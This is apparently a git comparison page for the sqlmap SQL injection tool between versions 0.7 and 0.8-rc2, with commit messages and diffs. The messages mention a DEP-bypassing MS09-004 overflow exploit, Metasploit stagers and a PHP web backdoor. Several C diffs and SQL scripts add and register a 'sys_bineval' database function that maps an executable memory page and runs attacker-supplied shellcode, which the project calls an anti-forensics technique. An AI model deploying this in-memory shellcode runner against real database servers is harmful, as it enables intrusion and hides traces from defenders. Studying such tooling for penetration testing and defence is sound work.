Compare commits

..

20 Commits
0.7 ... 0.8-rc2

Author SHA1 Message Date
Bernardo Damele
e4e081cdc6 sqlmap 0.8-rc2: minor enhancement based on msfencode 3.3.3-dev -t exe-small so that also PostgreSQL supports again the out-of-band via Metasploit payload stager optionally to shellcode execution in-memory via sys_bineval() UDF. Speed up OOB connect back. Cleanup target file system after --os-pwn too. Minor bug fix to correctly forge file system paths with os.path.join() all around. Minor code refactoring and user's manual update. 2009-12-17 22:04:01 +00:00
Bernardo Damele
a605980d66 Minor adjustments to configuration file 2009-12-15 14:16:25 +00:00
Bernardo Damele
b363f1c5ab Added support for NTLM authentication 2009-12-02 22:54:39 +00:00
Bernardo Damele
e28b98a366 Minor layout adjustments 2009-12-02 22:52:17 +00:00
Bernardo Damele
c332c72808 Minor update to user's manual to reflect new Metasploit release 2009-11-17 23:36:18 +00:00
Bernardo Damele
6e36a6f8ed Major enhancement to MSSQL MS09-004 exploit 2009-11-17 23:33:20 +00:00
Bernardo Damele
4779a5fe0f Minor layout adjustment 2009-11-16 16:39:31 +00:00
Bernardo Damele
1bf6a7cadc Adapted sqlmap to latest changes in Metasploit trunk 2009-11-03 16:49:19 +00:00
Bernardo Damele
aa14bea051 Test again 2009-11-01 12:30:30 +00:00
Bernardo Damele
e518ae82e4 Testing post-commit hook on redmine 2009-11-01 12:28:33 +00:00
Bernardo Damele
bfd8128693 Updated name 2009-11-01 12:10:29 +00:00
Bernardo Damele
de68a499f5 Typo fix 2009-11-01 12:08:46 +00:00
Bernardo Damele
bb123b2769 Updated changelog 2009-10-23 10:20:47 +00:00
Bernardo Damele
f1a7d095aa Minor patch to make the PHP web backdoor work also on Windows 2009-10-22 16:25:19 +00:00
Bernardo Damele
89c43893d4 Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes:
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
2009-09-25 23:03:45 +00:00
Bernardo Damele
458d59416c Minor bug fix in MSSQL version fingerprint 2009-08-11 09:16:20 +00:00
Bernardo Damele
14578a7a4d Updated THANKS file 2009-07-30 12:02:34 +00:00
Bernardo Damele
17289c5ff2 Minor bug fix 2009-07-30 12:01:23 +00:00
Bernardo Damele
e608a5ca55 Updated THANKS file 2009-07-29 10:44:56 +00:00
Bernardo Damele
19c6804ded Fixed two minor bugs with PostgreSQL reported by Sven Klemm, thanks! 2009-07-29 10:44:24 +00:00
61 changed files with 3001 additions and 1899 deletions

View File

@@ -1,3 +1,3 @@
Bernardo Damele A. G. (inquis) - Lead developer Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
<bernardo.damele@gmail.com> <bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F PGP Key ID: 0x05F5A30F

View File

@@ -1,3 +1,26 @@
sqlmap (0.8rc1-1) stable; urgency=low
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
sqlmap (0.7-1) stable; urgency=low sqlmap (0.7-1) stable; urgency=low
* Adapted Metasploit wrapping functions to work with latest 3.3 * Adapted Metasploit wrapping functions to work with latest 3.3

View File

@@ -98,9 +98,7 @@ for x86, AMD64 and Itanium too.</P>
<A HREF="http://metasploit.com/framework/">Metasploit Framework</A> for some of its post-exploitation takeover <A HREF="http://metasploit.com/framework/">Metasploit Framework</A> for some of its post-exploitation takeover
functionalities. You need to grab a copy of it from the functionalities. You need to grab a copy of it from the
<A HREF="http://metasploit.com/framework/download/">download</A> <A HREF="http://metasploit.com/framework/download/">download</A>
page. The required version is <B>3.2</B> or above, recommended is the page. The required version is <B>3.3</B> or above.</P>
latest <B>3.3 development</B> version from Metasploit's subversion
repository.</P>
<P>Optionally, if you are running sqlmap on Windows, you may wish to install <P>Optionally, if you are running sqlmap on Windows, you may wish to install
<A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A> <A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A>
library to be able to take advantage of the sqlmap TAB completion and library to be able to take advantage of the sqlmap TAB completion and
@@ -156,7 +154,7 @@ rated on 2007 in their
<A HREF="http://www.owasp.org/index.php/Top_10_2007">OWASP Top Ten</A> survey this vulnerability as the <A HREF="http://www.owasp.org/index.php/Top_10_2007">OWASP Top Ten</A> survey this vulnerability as the
<A HREF="http://www.owasp.org/index.php/Top_10_2007-A2">most common</A> and important web application vulnerability, second only to <A HREF="http://www.owasp.org/index.php/Top_10_2007-A2">most common</A> and important web application vulnerability, second only to
<A HREF="http://www.owasp.org/index.php/Top_10_2007-A1">Cross-Site Scripting</A>.</P> <A HREF="http://www.owasp.org/index.php/Top_10_2007-A1">Cross-Site Scripting</A>.</P>
<P>Back to the scenario, probably the SQL <CODE>SELECT</CODE> statemenet into <P>Back to the scenario, probably the SQL <CODE>SELECT</CODE> statement into
<CODE>get_int.php</CODE> has a syntax similar to the following SQL query, in <CODE>get_int.php</CODE> has a syntax similar to the following SQL query, in
pseudo PHP code:</P> pseudo PHP code:</P>
<P> <P>
@@ -4468,8 +4466,7 @@ PostgreSQL and Microsoft SQL Server.
sqlmap relies on the sqlmap relies on the
<A HREF="http://metasploit.com/framework">Metasploit</A> to perform this attack, so you need to have it already <A HREF="http://metasploit.com/framework">Metasploit</A> to perform this attack, so you need to have it already
on your system: it's free and can be downloaded from the homepage. It is on your system: it's free and can be downloaded from the homepage. It is
advised to use Metasploit 3.3 development version from the subversion required to use Metasploit Framework version 3.3 or above.</P>
repository.</P>
<P>Note that this feature is not supported by sqlmap running on Windows <P>Note that this feature is not supported by sqlmap running on Windows
because Metasploit's msfconsole and msfcli are not supported on the native because Metasploit's msfconsole and msfcli are not supported on the native

File diff suppressed because it is too large Load Diff

View File

@@ -51,9 +51,7 @@ sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
name="Metasploit Framework"> for some of its post-exploitation takeover name="Metasploit Framework"> for some of its post-exploitation takeover
functionalities. You need to grab a copy of it from the functionalities. You need to grab a copy of it from the
<htmlurl url="http://metasploit.com/framework/download/" name="download"> <htmlurl url="http://metasploit.com/framework/download/" name="download">
page. The required version is <bf>3.2</bf> or above, recommended is the page. The required version is <bf>3.3.3</bf> or above.
latest <bf>3.3 development</bf> version from Metasploit's subversion
repository.
Optionally, if you are running sqlmap on Windows, you may wish to install Optionally, if you are running sqlmap on Windows, you may wish to install
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> <htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
@@ -107,7 +105,7 @@ common"> and important web application vulnerability, second only to
<htmlurl url="http://www.owasp.org/index.php/Top_10_2007-A1" <htmlurl url="http://www.owasp.org/index.php/Top_10_2007-A1"
name="Cross-Site Scripting">. name="Cross-Site Scripting">.
Back to the scenario, probably the SQL <tt>SELECT</tt> statemenet into Back to the scenario, probably the SQL <tt>SELECT</tt> statement into
<tt>get_int.php</tt> has a syntax similar to the following SQL query, in <tt>get_int.php</tt> has a syntax similar to the following SQL query, in
pseudo PHP code: pseudo PHP code:
@@ -4358,8 +4356,7 @@ PostgreSQL and Microsoft SQL Server.
sqlmap relies on the <htmlurl url="http://metasploit.com/framework" sqlmap relies on the <htmlurl url="http://metasploit.com/framework"
name="Metasploit"> to perform this attack, so you need to have it already name="Metasploit"> to perform this attack, so you need to have it already
on your system: it's free and can be downloaded from the homepage. It is on your system: it's free and can be downloaded from the homepage. It is
advised to use Metasploit 3.3 development version from the subversion required to use Metasploit Framework version 3.3.3 or above.
repository.
<p> <p>
Note that this feature is not supported by sqlmap running on Windows Note that this feature is not supported by sqlmap running on Windows

View File

@@ -20,7 +20,7 @@ Cesar Cerrudo <cesar@argeniss.com>
sqlmap tree as a contrib library and used to run the stand-alone sqlmap tree as a contrib library and used to run the stand-alone
payload stager on the target Windows machine as SYSTEM user if the payload stager on the target Windows machine as SYSTEM user if the
user wants to perform a privilege escalation attack, user wants to perform a privilege escalation attack,
http://www.argeniss.com/research/Churrasco.zip http://www.argeniss.com/research/TokenKidnapping.pdf
Karl Chen <quarl@cs.berkeley.edu> Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference for providing with the multithreading patch for the inference
@@ -50,6 +50,11 @@ Dan Guido <dguido@gmail.com>
Adam Faheem <faheem.adam@is.co.za> Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs for reporting a few bugs
James Fisher <www@sittinglittleduck.com>
for providing me with two very good feature requests
for his great tool too brute force directories and files names on
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
Jim Forster <jimforster@goldenwest.com> Jim Forster <jimforster@goldenwest.com>
for reporting a bug for reporting a bug
@@ -70,6 +75,7 @@ Ivan Giacomelli <truemilk@insiberia.net>
for reviewing the documentation for reviewing the documentation
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com> Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
for reporting a bug
for providing me with a minor patch for providing me with a minor patch
Davide Guerri <d.guerri@caspur.it> Davide Guerri <d.guerri@caspur.it>
@@ -92,9 +98,15 @@ Daniel Hückmann <sanitybit@gmail.com>
Mounir Idrassi <mounir.idrassi@idrix.net> Mounir Idrassi <mounir.idrassi@idrix.net>
for his compiled version of UPX for Mac OS X for his compiled version of UPX for Mac OS X
Dirk Jagdmann <doj@cubic.org>
for reporting a typo in the documentation
Luke Jahnke <luke.jahnke@gmail.com> Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0 for reporting a bug when running against MySQL < 5.0
Sven Klemm <sven@c3d2.de>
for reporting two minor bugs with PostgreSQL
Anant Kochhar <anant.kochhar@secureyes.net> Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual for providing me with feedback on the user's manual
@@ -105,10 +117,16 @@ Nicolas Krassas <krasn@ans.gr>
for reporting a bug for reporting a bug
Guido Landi <lists@keamera.org> Guido Landi <lists@keamera.org>
for reporting a couple of bugs
for the great technical discussions for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
'sp_replwritetovarbin' stored procedure heap-based buffer overflow 'sp_replwritetovarbin' stored procedure heap-based buffer overflow
(MS09-004) exploit development, http://www.milw0rm.com/author/1413 (MS09-004) exploit development
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
on September 21, 2009
Lee Lawson <Lee.Lawson@dns.co.uk>
for reporting a minor bug
Nico Leidecker <nico@leidecker.info> Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features for providing me with feedback on a few features
@@ -144,9 +162,16 @@ John F. Reiser <sales@bitwagon.com>
Metasploit Framework 3 payload stager portable executable, Metasploit Framework 3 payload stager portable executable,
http://upx.sourceforge.net http://upx.sourceforge.net
Simone Onofri <simone.onofri@gmail.com>
for patching the PHP web backdoor to make it work properly also on
Windows
Antonio Parata <s4tan@ictsc.it> Antonio Parata <s4tan@ictsc.it>
for providing me with some ideas for the PHP backdoor for providing me with some ideas for the PHP backdoor
Adrian Pastor <ap@gnucitizen.org>
for donating to sqlmap development
Chris Patten <cpatten@sunera.com> Chris Patten <cpatten@sunera.com>
for reporting a bug in the blind SQL injection bisection algorithm for reporting a bug in the blind SQL injection bisection algorithm
@@ -238,6 +263,9 @@ fufuh <fufuh@users.sourceforge.net>
mariano <marianoso@gmail.com> mariano <marianoso@gmail.com>
for reporting a bug for reporting a bug
Stuffe <stuffe.dk@gmail.com>
for reporting a minor bug and a feature request
Sylphid <sylphid.su@sti.com.tw> Sylphid <sylphid.su@sti.com.tw>
for suggesting some features for suggesting some features

View File

@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
install: install:
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
strip -sx so/lib_mysqludf_sys.so strip -sx so/lib_mysqludf_sys.so
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

View File

@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval; DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

View File

@@ -23,6 +23,9 @@
#define DLLEXP __declspec(dllexport) #define DLLEXP __declspec(dllexport)
#else #else
#define DLLEXP #define DLLEXP
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif #endif
#ifdef STANDARD #ifdef STANDARD
@@ -191,6 +194,33 @@ char* sys_eval(
, char *error , char *error
); );
/**
* sys_bineval
*
* executes bynary opcodes.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
);
DLLEXP
void sys_bineval_deinit(
UDF_INIT *initid
);
DLLEXP
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
);
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef __cplusplus #ifdef __cplusplus
} }
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
} }
return status; return status;
} }
void lib_mysqludf_sys_info_deinit( void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
char* lib_mysqludf_sys_info( char* lib_mysqludf_sys_info(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -250,10 +282,12 @@ my_bool sys_get_init(
return 1; return 1;
} }
} }
void sys_get_deinit( void sys_get_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
char* sys_get( char* sys_get(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -305,6 +339,7 @@ my_bool sys_set_init(
} }
return 0; return 0;
} }
void sys_set_deinit( void sys_set_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
@@ -312,6 +347,7 @@ void sys_set_deinit(
free(initid->ptr); free(initid->ptr);
} }
} }
long long sys_set( long long sys_set(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
return 1; return 1;
} }
} }
void sys_exec_deinit( void sys_exec_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
my_ulonglong sys_exec( my_ulonglong sys_exec(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
return 1; return 1;
} }
} }
void sys_eval_deinit( void sys_eval_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
char* sys_eval( char* sys_eval(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -422,5 +462,90 @@ char* sys_eval(
return result; return result;
} }
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
){
return 0;
}
void sys_bineval_deinit(
UDF_INIT *initid
){
}
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
){
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = strlen(args->args[0]);
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, args->args[0], len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
return 1;
strncpy((char *)addr, args->args[0], len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
return 0;
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif
#endif /* HAVE_DLOPEN */ #endif /* HAVE_DLOPEN */

View File

@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval; DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';

View File

@@ -23,6 +23,9 @@
#define DLLEXP __declspec(dllexport) #define DLLEXP __declspec(dllexport)
#else #else
#define DLLEXP #define DLLEXP
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif #endif
#ifdef STANDARD #ifdef STANDARD
@@ -191,6 +194,33 @@ char* sys_eval(
, char *error , char *error
); );
/**
* sys_bineval
*
* executes bynary opcodes.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
);
DLLEXP
void sys_bineval_deinit(
UDF_INIT *initid
);
DLLEXP
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
);
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef __cplusplus #ifdef __cplusplus
} }
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
} }
return status; return status;
} }
void lib_mysqludf_sys_info_deinit( void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
char* lib_mysqludf_sys_info( char* lib_mysqludf_sys_info(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -250,10 +282,12 @@ my_bool sys_get_init(
return 1; return 1;
} }
} }
void sys_get_deinit( void sys_get_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
char* sys_get( char* sys_get(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -305,6 +339,7 @@ my_bool sys_set_init(
} }
return 0; return 0;
} }
void sys_set_deinit( void sys_set_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
@@ -312,6 +347,7 @@ void sys_set_deinit(
free(initid->ptr); free(initid->ptr);
} }
} }
long long sys_set( long long sys_set(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
return 1; return 1;
} }
} }
void sys_exec_deinit( void sys_exec_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
my_ulonglong sys_exec( my_ulonglong sys_exec(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
return 1; return 1;
} }
} }
void sys_eval_deinit( void sys_eval_deinit(
UDF_INIT *initid UDF_INIT *initid
){ ){
} }
char* sys_eval( char* sys_eval(
UDF_INIT *initid UDF_INIT *initid
, UDF_ARGS *args , UDF_ARGS *args
@@ -422,5 +462,90 @@ char* sys_eval(
return result; return result;
} }
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
){
return 0;
}
void sys_bineval_deinit(
UDF_INIT *initid
){
}
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
){
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = strlen(args->args[0]);
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, args->args[0], len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
return 1;
strncpy((char *)addr, args->args[0], len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
return 0;
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif
#endif /* HAVE_DLOPEN */ #endif /* HAVE_DLOPEN */

View File

@@ -19,6 +19,8 @@
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment # Adapt the following settings to your environment
#PORT="5433"
#VERSION="8.2"
PORT="5432" PORT="5432"
VERSION="8.3" VERSION="8.3"
USER="postgres" USER="postgres"

View File

@@ -21,3 +21,4 @@
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1 #define BUILDING_DLL 1
#else #else
#define DLLEXP #define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif #endif
#include <postgres.h> #include <postgres.h>
#include <fmgr.h> #include <fmgr.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h>
#include <ctype.h> #include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC #ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; PG_MODULE_MAGIC;
#endif #endif
@@ -109,3 +118,75 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
PG_RETURN_POINTER(result_text); PG_RETURN_POINTER(result_text);
} }
PG_FUNCTION_INFO_V1(sys_bineval);
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1 #define BUILDING_DLL 1
#else #else
#define DLLEXP #define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif #endif
#include <postgres.h> #include <postgres.h>
#include <fmgr.h> #include <fmgr.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h>
#include <ctype.h> #include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC #ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; PG_MODULE_MAGIC;
#endif #endif
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
PG_RETURN_POINTER(result_text); PG_RETURN_POINTER(result_text);
} }
